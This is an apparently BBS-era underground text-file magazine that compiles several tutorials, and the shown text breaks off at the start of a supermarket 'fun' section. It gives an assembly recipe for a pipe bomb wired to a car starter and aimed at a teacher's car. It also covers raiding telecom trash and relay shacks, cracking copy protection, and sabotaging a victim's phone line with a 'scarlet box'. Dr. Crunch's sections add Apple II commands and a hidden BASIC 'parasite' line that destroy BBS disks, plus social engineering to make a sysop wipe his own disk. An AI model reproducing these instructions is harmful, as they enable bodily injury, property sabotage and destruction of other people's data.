1436 lines
58 KiB
Plaintext
1436 lines
58 KiB
Plaintext
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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ÛÛ ÛÛ
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ÛÛ ÛÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛÛÛ° ÛÛ
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ÛÛ °°°°°°°°ÛÛÛ° °°°°°°°°ÛÛÛ° ÛÛÛ°°°°°°ÛÛÛ° ÛÛÛ°°°°°°ÛÛÛ° ÛÛ
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ÛÛ ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛ
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ÛÛ ÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛ°° ÛÛÛ° ÛÛÛ° ÛÛ
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ÛÛ ÛÛÛ°°°°°°°° ÛÛÛ°°°°°°°° ÛÛÛ°°°°°°ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛ
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ÛÛ ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛÛ° ÛÛ
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ÛÛ ÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛÛÛ° ÛÛÛÛÛÛÛÛÛÛÛÛ° ÛÛ
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ÛÛ °°°°°°°°°°° °°°°°°°°°°° °°°°°°°°°°°°° °°°°°°°°°°°°° ÛÛ
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ÛÛ ÛÛ
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ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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ÚÄÂÄ¿
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³ ³ ³ÚÄÄÄ¿ÚÄÄÄ¿ÚÄÄÄ¿ÄÄÄ¿  ÚÄÄ¿ÚÄÄ
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³ ³ÀÄÄijÀÄÄijÀÄÄijÀÄÄÄ Á Á ÁÀÄÄÙ
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ÄÄÄÙ
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The Official UK edition of 2600 magazine (milwaukee). If you've
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got any *INTERESTING* articles, please upload them, or leave a msg
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to the SysOp (in the appropriate area) on THEÿARENAÿBBS Information
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centre (0625) 539 063. This magazine NEEDSÿSUPPORT !
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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NOTICE: TO ALL CONCERNED
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Certain of the articles in this catalog deal with activities and devices
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which would be in violation of the Law if actually carried out or constructed.
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2280 Magazine DOES NOT advocate the breaking of any law. This Magazine is
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distributed for Informational purposes ONLY. We recommend that you contact
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your local law enforcement officials before undertaking any project based upon
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information in this magazine. We ARE NOT responsible for, nor do we assume any
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liability for, damages resulting from the use of information in this catalog.
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THIS MAGAZINE IS DISTRIBUTED FOR INFORMATIONAL PURPOSES ONLY
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This Magazine is for the use of adults only. Under no circumstances are
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children to view or possess it.
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** NEWSFLASH: 2280 Magazine is no longer to be distributed as a file.
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If you would like to recieve the next 2280 magazine, or
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discuss anything to do with 2280 Magazine, contact The Master
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on The Arena BBS Information Service [0625]/539-063.
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If you would like 2280 Magazine delivered, please send the
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small fee of 1 pound, for posting, photocopying, etc. to:
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2280 Magazine,
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Distribution dept.
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59, Knutsford Rd,
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Wilmslow,
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Cheshire.
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SK9 6JD
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Cheques made out to : 2280 Magazine, Credit card numbers only
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accepted with the holder's signature.
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== 2280 Magazine ==
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INDEX
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[2] Trashing ............................ The Basics of Trashing
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explained.
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[4] Cracking ............................ Part ][ of Buck's
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Cracking college.
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[6] Anarchy I ........................... Making a Pipebomb.
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[8] Scarlet Boxes ....................... US Neighbor harrasment!
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[10] Crashing ........................... A BBS Crashing tutorial by
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Dr. Crunch.
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[14] Anarchy II ......................... Supermarket Fun!
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[17] Memory Lane ........................ The history of British Phreak-
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ing as told by An american!
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[21] Data Snooping ...................... Practical Data Snooping.
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--Page 1--
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:%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%:
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:% %:
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:% BASIC TRASHING MANUAL %:
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:% Written by: %:
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:% The Blue Buccaneer %:
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:% %:
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:% The Rebel Alliance MegCatLine : [615]-940-6670 %:
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:% %:
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:%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%:
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This is an elementry manual on trashing. I don't think I am qualified to
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do one on advanced trashing, so here are the basics:
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:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
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Trashing is the act of sorting through trash captured from the garbage bins
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and cans of your local MaBell office. The trash often contains many valuable
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things which can range from office memos instructing an operator to carry out a
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special task (trace someone's line..etc) to actual working phones! In addition
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to those things, you are also very likely to pick up Bell manuals (they have
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this habit of replacing them every time one word is revised)
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The following is a list of suggested instructions and tips to follow when or
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if you go trashing. Trashing can be quite profitable and fun, provided you do
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it right and don't get smelly, dirty, or busted.
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:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
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STEP #1: LOCATE YOUR TARGET
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This involves deciding on where exactly the place is you want to
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trash. The place you want to go trashing at is the Switching Office
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since that's where everything happens. The easiest way to find the
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S.O. is to look for a lot of microwave towers. (not too hard, eh?)
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A good place for advanced trashing is your local COSMOS Office. To
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find it, look for the place in your city which most resembles:
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1. A Castle or Fort
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2. A Bunker out of WWII.
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3. Your local Federal Prison.
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4. A Building with the slogan "The more you hear.." on it.
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The security around these places is that of any of the 1, 2, or 3.
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Other possible targets would include:
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1. Relay stations.
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1. Look for a medium to small size tower with a little shack.
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2. Look for a big-ass tower with a house with AT&T on the door.
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The little shacks are usually good to break into because they
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are left with some really good stuff and are usually out in the
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middle (maybe a little to the west) or nowhere.
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I've never been into the houses. You can easily spot them
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because of the towers in the backyard and the odd fact that they
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have only one door (the front) and no (0) windows.
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STEP #2:SCOUT THE TARGET AREA
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One person should go out to the place you plan to trash and take a
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good look around. He should look for: Doors, cameras, fences, dogs,
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and the garbage bins. This is to minimize the amount of confusion
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when you go trashing that night or whenever-the-hell you go.
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The scout might want to make out a small map of the streets & stuff
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in the area if the group is unfamiliar with it. You might also want
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to use it for quick, safe escape routes.
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--Page 2--
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STEP #3:GATHER EQUIPMENT
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Here is a brief list of equipment you might want to take along:
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MAP : Streets, doors, security guards/cameras, garbage bins, etc...
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CAR : Doors and trunk open (lights off) Liscence Plate Covered
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While the car is not necessary, it is helpful in quick getaways and
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is easier than biking or walking.
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PEOPLE: More than one; Less than six.
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Almost never go trashing alone. And never bring more than five guys
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along with you. It's a little obvious when you have six or seven
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teenage guys with sacks, dark clothing, and flashlights.
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The recommended group is three, but a duty chart shows more or less:
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Number of people: 1 2 3 4 5 6
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Number to search: 1 1 2 3 3 4
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Number to watch : 0 1 1 1 2 2
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--- BEST WAY ---: ^
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EQUIP : Sack (each - nylon recommended as is light & easily washed/hidden)
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FlashLight (each - with handkerchief)
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Use the handkerchief to cover the lmght at all times.
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(Light looks really unusual comming out of a garbage bin at 3am)
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Sneakers (ratty as possible - it is, afterall, garbage)
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Dark Clothing (no bright orange or other florecent materials)
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<+- ADVANCED EQUIPMENT -+>
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Nitefinder goggles
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Ski Mask
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Gloves
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Walkie Talkies / CB Radio
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Lockpicks
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A word on the lockpicks:
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Lockpicks are very handy to have if the garbage is locked up.
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BUT DO NOT bring them if you don't know for a fact that there
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are locks -or- if you don't know how to use them correctly.
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Should you get caught, you don't want to have attempted breaking
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and entry and shit like that trying to be pinned on you.
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Diversion Equipment: Smoke, Gas, Bang, or Flame bombs
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Bring only that- no pipe bombs, soda can bombs, or harmful stuff
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like that. If you get caught with that stuff, they get nasty.
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It is also tempting to level the garbage bin just before you
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leave, which is not too wise.
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:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
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AND NOW, THE EVER PRESENT: DOs and DON'Ts
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If you're going advanced trashing, bring along a voltage meter to test fences,
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doors, and stuff that might be electrically wired or monitored.
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DO NOT go poking around anywhere other than the bins. There are probably
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silent alarms on the doors and possibly hidden cameras watching those other
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places you might feel tempted to go poking around.
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DO NOT make a lot of noise. Tipping over the cans and telling dead baby jokes
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is generally unwise.
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// FILE ABRUPTLY ENDS //
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--Page 3--
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***************************************************************************
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* B U C K A R O O B A N Z A I *
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* *
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* presents *
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* *
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* Cracking On the IBMpc *
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* Part II *
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* *
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***************************************************************************
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Introduction
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------------
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Ok guys, you now passed out of Kopy Klass 101 (dos files) and have this great
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w game with overlays. How the phuck do I crack this bitch. You
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scanned the entire .EXE file for the CD 13 and it's nowhere. Where can it be yo
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ask yourself.
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In part II, I'll cover cracking Overlays and the use of locksmith in cracking.
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If you haven't read part I, then I suggest you do so. The 2 files go together.
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Looking for Overlays
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--------------------
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So, you cant find CD 13 in the .EXE file, well, it can mean 4 things. 1, the
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XE (though it is mostly .COM) file is just a loader for the main file. 2, the .E
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file loads in an overlay. 3, the CD 13 is encrypted &/or hidden in the .EXE fi
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. 4, your looking at the WRONG PHUCKEN PHILE.
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I won't discuss case 1 (or at least no here) because so many UNP files are dev
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ed to PROLOCK and SOFTGUARD, if you can't figure it out with them, your PHUCKEN
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stupid.
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If you have case 3, use the techinque in part I and restart from the beg. And
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you have case 4, shoot your self.
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You know the program uses overlays but don't see and on disk? Try looking at
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e disk with good old nortons. Any hidden files are probally the overlays. Thes
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are the ones we are after. If you still can't find them, use PC-WATCH (this pro
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am is a must!!! for all crackists. Traps ALL interrupts).
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Using PC-Watch to Find Overlays
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-------------------------------
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Start up PC-Watch and and EXCLUDE everything in the left col. Search the righ
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col. until you find DOS21 - OpnFile and select it. Now run the program to be cr
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ked. Play the game until the protection is checked. Examine you pcwatch output
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o see what file was loaded right before it. This probally is the one holding th
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check. If not, shit go through all the files.
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You Have Found the Overlays
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---------------------------
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Great, now just crack the overlay as if it was a DOS file. You don't need to
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rry about .EXE file, debug can write an overlay file. Part I explains the basic
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of cracking. I suggest that you keep a backup copy of the overlay so if you phu
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up, and you will, you can recover quickly. Ah, and you thought cracking with ov
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lays was going to be hard.
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Locksmith and Cracking
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----------------------
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The copy/disk utility program Locksmith by AlphaLogic is a great tool in cracki
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. It's analyzing ability is great for determining what and where the protection
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s.
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I find it useful, before I even start cracking, to analyze the protected disk t
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find and id it's protection. This helps in 2 ways. First, it helps you to know
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--Page 4--
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hat to do in order to fake out the protection. Second, it helps you to find wha
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the program is looking for.
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I suggest that you get locksmith if you don't already have it. Check your loca
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pirate board for the program. I also suggest getting PC-Watch and Norton Utilit
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s 3.1. All of these program have many uses in the cracking world.
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Have Phun Phucker
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Buckaroo Banzai
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The Banzai Institute
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special thanks to the Honk Kong Cavliers
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--Page 5--
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[%+-------------------------------------------------------------------------+%]
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[% %]
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[% Rocket Engine Pipe Bomb %]
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[% %]
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[% Written by: Blue Max %]
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[% %]
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[%+-------------------------------------------------------------------------+%]
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[% %]
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[% Call these ten meg systems: %]
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[% The Pitstop AE/Cat-Fur/BBS...............................504-774-7126 %]
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[% The Lighthouse AE Pw/OCEAN..............................504-291-5690 %]
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[% The Trading Post BBS.....................................504-291-4970 %]
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[% LOUISIANA'S FINIST %]
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[% %]
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[%+-------------------------------------------------------------------------+%]
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Equipment
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^^^^^^^^^
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The equipment needed can be found anywhere. There are as follows:
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1) 1, 6 to 10 inch Threaded Lead Pipe (2 to 3 inches in Diameter)
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2) 2 Matching pipe caps
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3) Black Gunpowder
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4) Model Rocketry Electric Fuse
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5) Black Electrical Tape
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6) 2 10 inch wires with alligator clips
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7) 1/2 inch drill bit and drill
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8) Daily Newspaper
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[%+-----------------------------------------------------------------------+%]
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Assembly
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^^^^^^^^
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1) Place pipe in a machinest vise and with drill, drill a 1/2 inch hole in
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the center of the pipe.
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2) Screw a pipe cap onto the pipe and fasten tightly.
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3) Insert electrical fuse into the 1/2 inch hole.
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4) Place pipe upright with cap on bottom and fill with the gunpowder.
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5) Wrap tape around fuse and pipe a couple of times to keep the fuse in place.
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6) Stuff a wad of paper into the extra cap for packing the powder into the
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pipe tight to make a better explosion.
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7) Pack the gunpowder by hand first and put in more gunpowder if needed and
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then screw the cap with the paper in it on the pipe for even more packing.
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8) Antipersonal device is ready for planting and detonation.
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||
--Page 6--
|
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[%+------------------------------------------------------------------------+%]
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Planting
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^^^^^^^^
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1) Tpae pipe bomb inside of a tire on a car. This works especially well on a
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teachers car that you do not like at school.
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2) Run one alligator clamp from the fuse to the starter terminal to make a hot
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wire running between them.
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3) Run Second alligator clamp from the other wire of the fuse to any ground to
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the car like the axilor springs.
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Should look a little like this: (note: I am no artist.)
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____ ____
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| | /-- pipe bomb | |
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| |\ _|_ ___\ / /| |
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| | \<_>__<__>\ /_______/ | |
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| | _________\---|___________ | |
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| | / Starter | \ | |
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| |/ \| |
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|__| |__|
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Don't forget the wires between the starter and bomb fuse and the ground.
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[%+------------------------------------------------------------------------+%]
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Detonation
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^^^^^^^^^^
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All there is left is the detonation of the bomb. When the unexpected victim
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oes to start his car, the electrical charge coming through the starter will
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set off the bomb and blow the tire to smithereens.
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H A V E F U N ! ! !
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||
_ _ _ _ _ _ _ _ _ _ _
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Blue Max
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[%+-------------------------------------------------------------------------+%]
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--Page 7--
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[/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/]
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||
[ ]
|
||
[ Scarlet box plans ]
|
||
[ ----------------- ]
|
||
[ A High Mtn Hackerz Presentation ]
|
||
[ ]
|
||
[ Written & Created by: THE PIMP ]
|
||
[ ]
|
||
[ Call these cool Systems: ]
|
||
[ ]
|
||
[(Maharaja's Hi-Times 10meg C/F BBS)]
|
||
[ |7 0 2 - 8 3 2 - 7 4 6 9| ]
|
||
[ ]
|
||
[ (The Stash 10 meg BBS C/F) ]
|
||
[ |7 0 2 - 8 3 1 - 4 2 6 3| ]
|
||
[ ]
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||
[/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/]
|
||
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||
The purpose of a Scarlet box is to create a very bad conection, it can be used
|
||
to crash a BBS or just make life miserable for those you seek to avenge.
|
||
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||
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||
Materials: 2 aligator clips, 3 inch wire, or a resister
|
||
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||
(plan wire will create greatest amount of static)
|
||
|
||
(Resister will decrease the amount of static in porportion to the resister you
|
||
are useing)
|
||
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||
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||
Step (1): Find the phone box at your victims house, and pop the cover off.
|
||
|
||
Step (2): Find the two prongs that the phone line you wish to box are
|
||
connected too.
|
||
|
||
Step (3): Hook your aligator clips to your (wire/resister).
|
||
|
||
Step (4): Find the lower middle prong and take off all wires connected to it,
|
||
i think this disables the gound and call waiting and shit like
|
||
that.
|
||
|
||
Step (5): Now take one of the aligator clips and attach it to the upper most
|
||
prong, and take the other and attach it to the lower middle prong.
|
||
|
||
Step (6): Now put the cover back on the box and take off!!
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
--Page 8--
|
||
|
||
|
||
|
||
|
||
** ######## **
|
||
** # #### # **
|
||
######## /
|
||
# #### # /
|
||
######## /
|
||
/
|
||
/
|
||
/
|
||
/
|
||
/
|
||
/
|
||
/
|
||
**/
|
||
**
|
||
|
||
|
||
|
||
** **
|
||
** **
|
||
|
||
|
||
(**)= prongs
|
||
**
|
||
|
||
(/) = (wire/resister)
|
||
|
||
(##)= some phone bullshit
|
||
|
||
|
||
Created by (The Pimp)
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
--Page 9--
|
||
WHAT TO DO WHEN YOU BREAK INTO A BBS
|
||
====================================
|
||
|
||
BY
|
||
|
||
-=> DOCTOR CRUNCH <=-
|
||
|
||
|
||
OK, YOU PROBABLY HAVE READ T-FILES ABOUT HOW TO BREAK IN A BBS. SO, I WILL
|
||
TELL YOU WHAT TO DO WHEN YOU GET INTO THE BBS. MOST SYSOPS, IF THEY HAVE AN IQ,
|
||
WILL DISABLE THE INIT COMMAND. THEY USUALLY DO THIS BY CHANGING THE INIT
|
||
COMMAND TO SOME OTHER WORD YOU WILL NEVER GUESS. WELL, THERE IS AN EASIER WAY
|
||
TO CRASH THE BBS THAN BY SEARCHING FOR WHAT THE SYSOP CHANGED IT TO. GET IN THE
|
||
MONITER (CALL-151), AND TYPE:
|
||
|
||
A54FG
|
||
|
||
THIS IS THE INIT COMMAND'S ENTRY POINT WHICH DOS CALLS TO INITIALIZE A DISK.
|
||
THERE ARE SOME BUGS WITH THIS WAY OF CRASHING A DISK THOUGH:
|
||
|
||
1) IT TAKES ABOUT 40 SECONDS TO INIT A DISK, AND 9F A SYSOP IS THERE, HE CAN
|
||
STOP YOU AT ANY TIME.
|
||
|
||
2) MANY BOARDS USE A FAST DOS; AND, MOST FAST-DOSES HAD TO TAKE OUT THE INIT
|
||
COMMAND TO MAKE THE MODS TO DOS. SO, EVEN IF YOU DO A A54FG, YOU WON'T BE ABLE
|
||
TO KILL THE DISK.
|
||
|
||
I PREFER TO KILL THE VTOC, INSTEAD OF INITING THE DISK. HERE ARE A COUPLE OF
|
||
REASONS WHY:
|
||
|
||
1) VERY QUICK!!!!!
|
||
|
||
2) VERY NASTY!!!!!
|
||
|
||
THE TRICK IS TO REWRITE THE VTOC (VOLUME TABLE OF CONTENTS) TO SAY THAT THE
|
||
CATALOG TRACK IS 255. NOW ALL OF US KNOW THERE IS NO TRACK 255 ON A DISK, THIS
|
||
CAN ONLY MEAN.....(YOU GUESSED IT) THAT THE SYSTEM WILL BOMB WHEN DOING ANYTHING
|
||
THAT INVOLVES LOOKING AT THE CATALOG TRACK. SINCE ALMOST EVERYTHING YOU CAN DO
|
||
IN DOS INVOLVES READING THE CATALOG TRACK, THIS WILL CRASH THE BBS QUITE WELL.
|
||
AND HERE IS A NICE LITTLE CATCH, YOU CAN REBOOT HIS DISK (WHICH WILL GIVE HIM AN
|
||
I/O ERROR BECAUSE WHEN THE HELLO FILE IS RUN, DOS MUST LOOK AT THE CATALOG
|
||
TRACK) AND LOGOFF AT THE SAME TIME. YOU SHOULD ALWAYS LOGOFF QUICKLY SO THAT
|
||
THE SYSOP CAN'T LIFT UP THE PHONE, WHICH SOMETIMES WILL PREVENT YOU FROM HANGING
|
||
UP. THE WAY I LOGOFF IS THE MAKE THE BBS I JUST CRASHED DO A RESET, CAUSING ME
|
||
TO BE DISCONNECTED FROM THE OTHER END OF THE LINE. SINCE MOST TERMINAL PROGRAMS
|
||
HANG UP IF YOU LOOSE THE CARRIER (WHICH WILL HAPPEN WHEN HIS SYSTEM RESETS), YOU
|
||
WILL HANG UP THE SECOND YOU CRASH HIS SYSTEM!!!!
|
||
|
||
WELL, HERE IT IS:
|
||
|
||
(BE SURE YOU'RE IN THE MONITER)
|
||
|
||
*B3BC:FF NAFFBG 3F4:00 NFA62G
|
||
|
||
IF YOU DON'T WANT TO LOGOFF,
|
||
|
||
*B3BC:FF NAFFBG
|
||
|
||
NOTE: SOMETIMES YOU MAY HEAR A BEEP, THEN ALL OF YOUR MONITER COMMANDS WILL
|
||
FAIL. THIS IS BECAUSE OF A BUG IN DOS. WHEN RWTS LETS GO OF CONTROL, THE
|
||
MONITER VARIBLE $48 IS DESTROYED. TO WORK PROPERLY, $48 MUST BE RESTORED TO 0
|
||
BEFORE THE MONITER TAKES CONTROL AGAIN. I MADE A SHORT ROUTINE THAT WHEN
|
||
CALLED, WRITES THE VTOC BUFFER TO THE DISK, AND SETS $48 TO 0. THE ROUTINE IS:
|
||
--Page 10--
|
||
300- 20 FB AF JSR $AFFB
|
||
302- A9 00 LDA #$00
|
||
304- 85 48 STA $48
|
||
306- 60 RTS
|
||
|
||
SOMETIMES IT IS DESIRABLE TO CRASH THE DISKS IN DRIVE 1 AND DRIVE 2. THIS CAN
|
||
BE DONE IN 1 LINE, INCLUDING THE QUICK LOGOFF:
|
||
|
||
*300:20 FB AF A9 00 85 48 60 N B3BC:FF NB5F8:1 (DRV1) N300G B5F8:2 N300G
|
||
3F4:FF N FA62G
|
||
|
||
WELL, THAT'S ALL FOLKS!!!
|
||
|
||
|
||
HAVE LOTS OF FUN......
|
||
|
||
==============
|
||
3>DR. CRUNCH<+
|
||
==============
|
||
|
||
|
||
-=*> P.S. I WAS MESSING AROUND WITH DOS A COUPLE OF DAYS AGO AND I FIGURED
|
||
OUT A REAL, REAL, REAL, NASTY ONE. YOU HAVE PROBABLY HEARD OF LETTING THE DRIVE
|
||
SPIN FOR A COUPLE OF DAYS TO RUIN IT. THIS WORX, BUT IT TAKES A LONG TIME... I
|
||
LIKE THIS 1 BETTER:
|
||
|
||
*BDCC:EA EA NBDDA:EA EA
|
||
|
||
THIS MODS DOS TO RECALIBRATE THE DRIVE HEAD FOREVER (UNLESS THE SYSOP WALKS
|
||
IN). SO, ALL YOU DO NOW IS USE A DOS COMMAND THAT READS THE DISK, AND THE DRIVE
|
||
IS GOING TO MAKE ALOT OF FUNNY SOUNDS! CATALOG IS THE BEST ONE TO USE, SINCE IT
|
||
IS IN ALMOST EVERY DOS UNMODIFIED.
|
||
|
||
=====
|
||
NOTE: THIS SHOULD ONLY BE DONE WHEN
|
||
===== THERE IS A VERY, VERY, GOOD REASON TO WASTE SOME DUDES DRIVE. DON'T
|
||
EVER DO THIS AS A PRANK, BECAUSE IT WORKS!
|
||
|
||
|
||
ZATZ IT..
|
||
|
||
)>DR. CRUCH<(
|
||
|
||
/\_________________________________________________________________________/\
|
||
\/ \/
|
||
|
||
BBS CRASHING: MORE NIFTY TRIX
|
||
*****************************
|
||
* BY DR. CRUNCH *
|
||
*>-------------------------<*
|
||
*) TYPED AND UPLOADED FOR: (*
|
||
*) THE ASSASSIN'S KNOT (*
|
||
*>-------------------------<*
|
||
* STONEHENGE(814)237-5635 *
|
||
*****************************
|
||
BBS CRASHING: MORE NIFTY TRIX
|
||
|
||
WELL, I HAD SUCH A FUN TYME PUTTING NIFTY STUFF IN MY LAST T-FILE, I DECIDED
|
||
TO DO IT AGAIN. IN THIS FILE I WILL DISCUSS THE TYME BOMB, THE SNEAKY SPUD, AND
|
||
THE BUGGER. THEY ALL ARE GREAT FOR REVENGE, GETTING EVEN, AND JUST BEING A PAIN
|
||
IN THE A$$. WELL, I WON'T KEEP YOU SUSPENDED ANYMORE, HERE THEY ARE!
|
||
|
||
|
||
--Page 11--
|
||
TYME BOMB
|
||
=========
|
||
THIS CRASH TAKES A LONG TIME TO WORK, BUT THERE IS ALMOST NO WAY TO DETECT IT.
|
||
IT INVOLVES ADDING A LINE IN A COMMON USED PLACE, BUT NOT TOO COMMON. THAT
|
||
MEANS, THE G-FILE SECTION OF A BBS IS A GOOD PLACE, BUT THE MAIN MENU IS NOT.
|
||
ONCE YOU HAVE DECIDED WHERE TO PUT IT, FIND TWO FAT LINES IN THAT AREA. THESE
|
||
LINES WILL BE THE DISGUISE LINES. YOU WILL PLACE A LINE BETWEEN THEM, AND THEY
|
||
WILL CAMOUFLAGE IT (HOPEFULLY). NOW INSERT THIS LINE RIGHT AFTER THE FIRST
|
||
DISGUISE LINE, AND BEFORE THE SECOND.
|
||
|
||
LIKE THIS:
|
||
|
||
10130 XXXXXXXX DISGUISE LINE XXXXXX
|
||
10134 POKE INT(RND(1)*30000)+2053,0
|
||
10140 XXXXXXXX DISGUISE LINE XXXXXX
|
||
|
||
THIS WILL, EVERY TIME IT HITS LINE 10134, POKE A RANDOM BYTE IN THE PROGRAM TO
|
||
0. ALL OF YOU APPLESOFT HACKERS OUT THERE SHOULD REMEMBER THAT APPLESOFT USES
|
||
THE BYTE 0 TO SIGNAL THE END OF A LINE; MEANING: THE ENDS OF SOME LINES WILL
|
||
START TO DISAPEAR. I PARTICULARLY LIKE THIS LITTLE TRICK BECUZ WHEN BUGS DO
|
||
APPEAR IN THE PROG- RAM, THEY ARE ALMOST NEVER NEAR THE LINE WE INSERTED. THE
|
||
BUGS APPEAR SO SLOWLY THAT, BY THE TIME THEY ARE DISCOVERED, A BACKUP OF THE BBS
|
||
PROGRAM CONTAINING OUR LITTLE LINE HAS USUALLY BEEN MADE. SO, WHEN THE SYSOP
|
||
BEGINS TO USE HIS BACKUP COPY, OUR LITTLE BUG WILL AGAIN BEGIN TO GNAW AWAY AT
|
||
THE HOST PROGRAM.
|
||
|
||
NOW LETS GET SOME TERMS DOWN.
|
||
|
||
A CRASH THAT IS INSERTED IN THE BBS AND SLOWLY DESTROYS IT IS CALLED A
|
||
PARASITE.
|
||
|
||
THE PROGRAM THE PARASITE IS KILLING IS CALLED THE HOST PROGRAM.
|
||
|
||
(SOUNDS LIKE BIOLOGY, EH?)
|
||
|
||
STEP BY STEP:
|
||
|
||
1) GET INTO THE BBS SOMEHOW
|
||
|
||
2) FIND A COMMONLY USED PLACE, BUT NOT TOO COMMON.
|
||
|
||
3) INSERT THE PARASITE LINE BETWEEN TWO DISGUISE LINES.
|
||
|
||
4)>BE SURE TO SAVE THE HOST PROGRAM AFTER THE PARASITE HAS BEEN PUT IN IT! IF
|
||
YOU DON'T, WHEN THE HOST PROGRAM'S COMPUTER IS TURNED OFF, THE PARASITE WILL BE
|
||
LOST.
|
||
|
||
======================================
|
||
|
||
SNEAKY SPUD
|
||
|
||
WHO WOULD A SYSOP LEAST EXPECT TO CRASH HIS BOARD? HIMSELF! THIS LITTLE
|
||
CRASH INVOLVES MODIFYING DOS SO THAT WHEN THE DRIVE IS CATALOGED THE DISK IS
|
||
INITIALIZED INSTEAD. NOW YOU COULD, YOURSELF, INITIALIZE THE DISK, BUT IT IS
|
||
MUCH MORE FUN TO LET THE SYSOP DO IT FOR HIMSELF. WHY?
|
||
|
||
1) HE CAN'T FIND OUT WHO DID IT. 2) IF HE CRASHES HIS OWN BBS, HE WILL MAKE
|
||
HIMSELF A COMPLETE ASS, AND YOU TORMENT HIM WITH THAT INFORMATION UNTIL HE
|
||
CRIES!
|
||
|
||
LETS SEE HOW THIS DONE.
|
||
|
||
1) GET INTO THE MONITER.
|
||
--Page 12--
|
||
2) TYPE "A56E:4C 4F A5<CR>"
|
||
|
||
3) EXIT TO BASIC (3D0G)
|
||
|
||
4) RERUN THE PROGRAM SO IT WILL LOG YOU OFF.
|
||
|
||
5) CALL THE BOARD BACK AND LOGON NEW UNDER SOME NAME LIKE: THE TIDY BOWL MAN
|
||
OR FAT ALBERT OR UTAH JACK OR (WHO GIVES A DAMN?).
|
||
|
||
6) SEND HIM SOME FEEDBACK THAT WILL MAKE HIM CATALOG THE DISK. SUCH AS:
|
||
|
||
EVERYTIME I TRY TO POST OR SEND MAIL TO A USER I GET THIS MESSAGE THEN I GET
|
||
LOGGED OFF! I'M NOT SURE, BUT I THINK THAT YOUR DRIVE IS FULL. TO BE ON THE
|
||
SAFE SIDE, TAKE A CATALOG OF THEM AND SEE IF THERE ARE MORE THAN 122 FILES.
|
||
EVEN THOUGH YOU MAY HAVE FREE SECTOS, YOU MAY NOT HAVE ENOUGH ROOM IN THE
|
||
CATALOG FOR MORE FILE NAMES.
|
||
|
||
I HOPE YOU GET IT FIXED SOON!
|
||
|
||
LAT0R0N MAN,
|
||
|
||
S P U D P E A L E R
|
||
======= ===========
|
||
|
||
7) LOGOFF.
|
||
|
||
NOW WHEN HE SEES YOUR MESSAGE AND TAKES A CATALOG HE WILL GET HIS DISK FRIED.
|
||
HE WILL PROBABLY BE ABLE TO HIT RESET BEFORE THE DISK IS INITED COMPLETELY, BUT
|
||
ENOUGH WILL BE ERASED TO SCREW HIM UP.
|
||
|
||
======================================
|
||
|
||
THE BUGGER
|
||
|
||
THIS ONE IS EASY. LOG ONTO A BOARD THAT IS EASY TO BREAK INTO AND DELETE SOME
|
||
LINES OF YOUR CHOICE. THEN SAVE IT. DO THIS EVERY DAY OR SO FOR A MONTH. AT
|
||
THE END OF THE MONTH THE SYSOP WILL BE IN THE RUBBER ROOM SINGING JINGLE BELLS
|
||
WHILE PLAYING A GAME OF HOPSCOTCH.
|
||
|
||
======================================
|
||
|
||
WELL, THAT WRAPS UP ANOTHER EXCITING EPISODE OF "CRASHING CHRONICLES".
|
||
|
||
|
||
ZATZ ALL!
|
||
|
||
|
||
)>DR. CRUNCH<(
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
--Page 13--
|
||
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
|
||
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||
\ __ __ /
|
||
/ |__' |__ \
|
||
\ .__|upermarket | un /
|
||
/ \
|
||
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||
|
||
...By the prolific 007 007...
|
||
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
|
||
As some of you might have already guessed, this phile will tell you all
|
||
about how to have loads of fun in any supermarket or grocery store. There are
|
||
many different things to do in a supermarket that will provide entertainment as
|
||
